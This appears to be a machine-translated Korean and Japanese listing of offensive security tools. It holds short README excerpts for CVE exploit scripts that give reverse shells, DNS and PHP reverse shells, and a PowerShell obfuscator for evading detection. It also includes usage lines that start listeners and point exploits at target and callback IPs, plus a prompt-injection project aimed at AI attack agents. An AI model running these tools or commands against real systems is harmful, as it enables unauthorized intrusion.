CVE-2018-1207-better

CVE-2018-1207 익스플로잇 PoC: Dell iDRAC7/iDRAC8 RCE 리버스 셸 이 저장소에는 펌웨어 버전 2.52.52.52 이하의 iDRAC7 및 iDRAC8 장치에 존재하는 원격 코드 실행 취약점을 시연하는 PoC 파이썬 스크립트가 포함되어 있습니다. 이 익스플로잇을 사용하면 공격자가 루트 권한 사용자로 코드를 실행할 수 있으며, 이는 전체 시스템 장악으로 이어질 수 있습니다. 코드에서는 이 취약점을 사용한 리버스 셸 공격을 실행하여 이를 보여줍니다. 이 저장소의 코드는 Michael...

Reverse_DNS_Shell

DNShell v1.7 설명: DNS를 C2 채널로 사용하는 Python 리버스 셸입니다. 필요 사항: dnslib dnspython pycrypto 주의 사항: HOST를 변경하는 것을 잊지 마세요 SECRET 키를 변경하는 것을 잊지 마세요 서버를 먼저 실행하세요 더 많은 정보: http://lockboxx.blogspot.com/2015/01/python-reverse-dns-shell.html...

CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1의 enableuser 함수에서의 인증되지 않은 명령 주입 사용법: 사용하려면 먼저 리스너를 시작하세요 ncat -nvlp 1337 그런 다음 익스플로잇을 실행하세요 예시: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='익스플로잇을 위한 호스트, 예: 192.168.1.122:8080',required=True '-l', '--listener-ip', help='리스너 IP',...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI Exploit スクリプト 説明 Apache Tomcat サーバーの CGI 脆弱性を悪用し、リバースシェル接続を実行するように設計された Python スクリプト。 使用例 特徴 Apache Tomcat の CGI 脆弱性に対する自動エクスプロイト カスタマイズ可能なターゲットおよび攻撃者パラメータ シンプルなコマンドラインインターフェース 前提条件 Python 3.x requests ライブラリ Netcat nc.exe リバースシェルを受信するためのリスナーへのアクセス インストール root@kitploit: git clone...

CVE-2023-38646

CVE-2023-38646-exploit "이 취약점CVE-2023–38646로 지정됨은 공격자가 인증 없이 서버에서 임의의 명령을 실행할 수 있도록 허용했습니다." "cve-2023-38646를 위한 빠른 리버스 셸 익스플로잇 스크립트입니다." "이 취약점을 발견한 것은 아니며, 스크립트만 제작했습니다." 사용법 root@kitploit: root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | ...

Project-Exploiting-a-Vulnerability-in-Fuel-CMS-CVE-2018-16763-

이 프로젝트의 목표는 Ackme Support Incorporated가 최근 출시한 블로그의 보안 감사를 수행하여 사이트가 공개되기 전에 중요한 취약점을 식별하는 것이었습니다. 작업에는 원격으로 코드를 실행하고 대상 시스템에 접근할 방법을 찾는 것이 포함되었습니다. 환경 및 설정 대상 시스템: 취약한 가상 머신 애플리케이션: Fuel CMS 버전: 1.4 사용된 익스플로잇: CVE-2018-16763 도구: GitHub에서 가져온 Python 익스플로잇 nc netcat — 리버스 셸을 수신하기 위함 공격 단계 1. 애플리케이...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell 명령 실행 go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port 참고 대상 호스트를 입력할 때는 http:// 또는 https://를 잊지 마세요...

CVE-2022-4510-WalkingPath

CVE-2022-4510-Binwalk 이 스크립트는 CVE-2022-4510 Binwalk 취약점을 대상으로 하는 익스플로잇을 생성할 수 있게 해줍니다. 익스플로잇은 테스트 및 시연 목적으로 사용할 수 있습니다. 지원되는 옵션에는 SSH, 명령 실행, 리버스 셸이 포함됩니다. 사전 요구 사항 Python 3.x 사용 방법 1. 저장소를 클론하거나 스크립트 파일을 다운로드합니다. 2. 원하는 옵션으로 스크립트를 실행합니다. 사용 가능한 옵션은 다음과 같습니다: ssh: SSH용 익스플로잇을 생성합니다. 인자: file: 입력...

persisthunt

Linux 지속성 탐지, 헌팅 및 아티팩트 수집 요약 사용법 탐지 예시 기법 목록 요약 persisthunt.sh는 Linux 지속성 기술과 일반적으로 연관된 표적화된 지속성 관련 아티팩트를 수집하고 의심스러운 패턴을 강조하여 조사 속도를 높이는 데 도움을 줍니다. 이 스크립트는 잘 알려진 Linux 지속성 메커니즘 전반에 걸쳐 지속성 탐지, 위협 헌팅 및 아티팩트 수집을 지원합니다. 발견 사항은 신뢰도와 심각도에 따라 세 가지 수준 - High, Low, Informational로 분류됩니다. 예를 들어 /tmp/,...

Invoke-PSObfuscation

Invoke-PSObfuscation 전통적인 난독화 기법은 base64나 압축과 같이 기존 코드를 감싸는 레이어를 추가하는 경향이 있습니다. 이러한 페이로드는 다양한 성공률을 보이지만, 의도된 페이로드를 추출하는 것은 사소한 일이 되었고 일부 실행기launcher는 자주 탐지되어 본질적으로 병목 지점을 만듭니다. 이 도구가 도입하는 접근 방식은 스크립트의 개별 구성 요소를 무작위 변형으로 대상으로 삼아 난독화하면서도 동일한 의도된 로직을 달성하는 방법론입니다. 전체 페이로드를 단일 레이어에 캡슐화하지 않습니다. 난독화 로직의...

CVE-2025-24893-POC

CVE-2025-24893 bun をインストール： root@kitploit: curl -fsSL https://bun.com/install | bash 依存関係をインストールするには： root@kitploit: bun install 実行するには： root@kitploit: bun run CVE-2025-24893.ts このプロジェクトは bun v1.2.19 の bun init を使用して作成されました。Bun は高速なオールインワン JavaScript ランタイムです。 使い方 root@kitploit: Usage: bun...

CVE-2023-45878

CVE-2023-45878 이 스크립트는 https://herolab.usd.de/security-advisories/usd-2023-0025/ 의 연구 결과를 기반으로 작성했습니다. 이 익스플로잇은 Gibbon LMS 25.0.1의 임의 파일 쓰기Arbitrary File Write 취약점을 이용합니다. 이 PoC는 간단한 php 명령 스크립트를 업로드한 다음 이를 사용하여 PowerShell 리버스 셸을 로드합니다. root@kitploit: python3 CVE-2023-45878.py -u...

CVE-2024-32002

CVE-2024-32002 gitlab-shell 취약점 cve 2024-32002를 위한 리버스 셸 생성기 이것은 아직 테스트 단계에 있으며 완료되면 업데이트하겠습니다...

php-reverse-shell

PHP 리버스 셸 널리 쓰이는 PHP 리버스 셸 스크립트 pentestmonkey/php-reverse-shell을 살짝 새롭게 단장한 것입니다. 원저작자에게 감사를 표합니다! /bin/sh를 사용하는 Linux OS 및 macOS와 cmd.exe를 사용하는 Windows OS에서 작동합니다. 스크립트가 기본 OS를 자동으로 감지합니다. ncat과 multi/handler 모두에서 작동합니다. 다음 환경에서 테스트했습니다: Kali Linux v2020.264비트에서 PHP v7.3.19가 포함된 Linux용 XAMPP...

AirBorne-PoC

AirBorne PoC 프레임워크 – Elite RCE 에디션 CVE-2025-24252 및 CVE-2025-24132용 전체 PoC 프레임워크 제작: ekomsSavior | AirBorne은 Apple의 AirPlay 서비스에서 발견된 두 가지 심각한 취약점을 대상으로 하는 통합 PoCproof-of-concept 프레임워크입니다. 완전한 크래시 트리거와 역방향 셸reverse shell 익스플로잇을 포함하며, 선택적 지속성persistence, 리스너listener, 여러 페이로드 형식을 하나의 스크립트로 제공합니다. 원...

CVE-2022-36804-ReverseShell

원본 프로젝트 https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit CVE-2022-36804-PoC-Exploit CVE-2022-36804 BitBucket Critical Command Injection에 대한 다소 신뢰할 수 있는 PoC 익스플로잇입니다. 이 공격은 일반적으로 공개 저장소가 활성화되어 있어야 하지만, 세션 쿠키도 이 익스플로잇과 호환됩니다. 참고: 이 익스플로잇에는 자동 저장소 감지 기능이 포함되어 있어 직접 공개 저장소를 수동으로 찾고 싶지 않은 경우...

CVE-2025-3243

CVE-2025-32433 Erlang SSH 라이브러리 익스플로잇 CVE-2025-32433 에 대한 개념 증명PoC 익스플로잇으로, Erlang SSH 라이브러리의 치명적인 취약점을 이용해 잘못된 형식의 SSHMSGCHANNELREQUEST 패킷을 통해 인증 전pre-authentication 코드 실행을 허용합니다. 기능 원본 익스플로잇 - Matthew Keeley 업데이트 버전 - Tyler Ramsbey: LHOST , LPORT , RHOST , RPORT 용 명령줄 인자 argparse를 통한 내장 도움말 및...

CVE-2021-32160

..| XSS에서 권한 있는 사용자로 |.. 설명 : Webmin의 사용자 추가 기능을 통해 반사형 크로스 사이트 스크립팅XSS 공격을 악용하여 권한 있는 사용자를 생성한 다음, Webmin의 실행 중인 프로세스 기능을 통해 리버스 셸을 획득합니다. 테스트 버전 : Webmin 1.973 GitHub의 최신 버전 07/03/2021 공격 유형: 원격 영향 : 원격 명령 실행 eXploit의 C0de POC : 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin은 Unix 계열 서버와 서비스를...

project_mantis

프로젝트 Mantis: AI 해커에게 해킹 되갚기 LLM 기반 사이버 공격에 대한 방어로서의 프롬프트 인젝션 Mantis 설치 root@kitploit: pip install -r requirements.txt 사전 제작 구성으로 Mantis 실행하기 ./confs 디렉터리에는 다양한 사전 제작 구성이 있습니다. Hack-back Mantis 구성 파일의 예는 ./confs/ftphackbackrshell.py에 나와 있습니다. 이 구성이 무엇을 의미하는지, 그리고 자신만의 구성을 선택하는 방법은 이 README 파일의 뒷부분...

golang-webmin-CVE-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell Webmin ターゲット URL c - Webmin の認証情報 sl - ペイロードをホストするローカルサーバーの IP とポート s - コールバック IP p - コールバックポート 参照 https://www.webmin.com/security.html https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/ https://nvd.nist.gov/vuln/detail/CVE-2022-0824...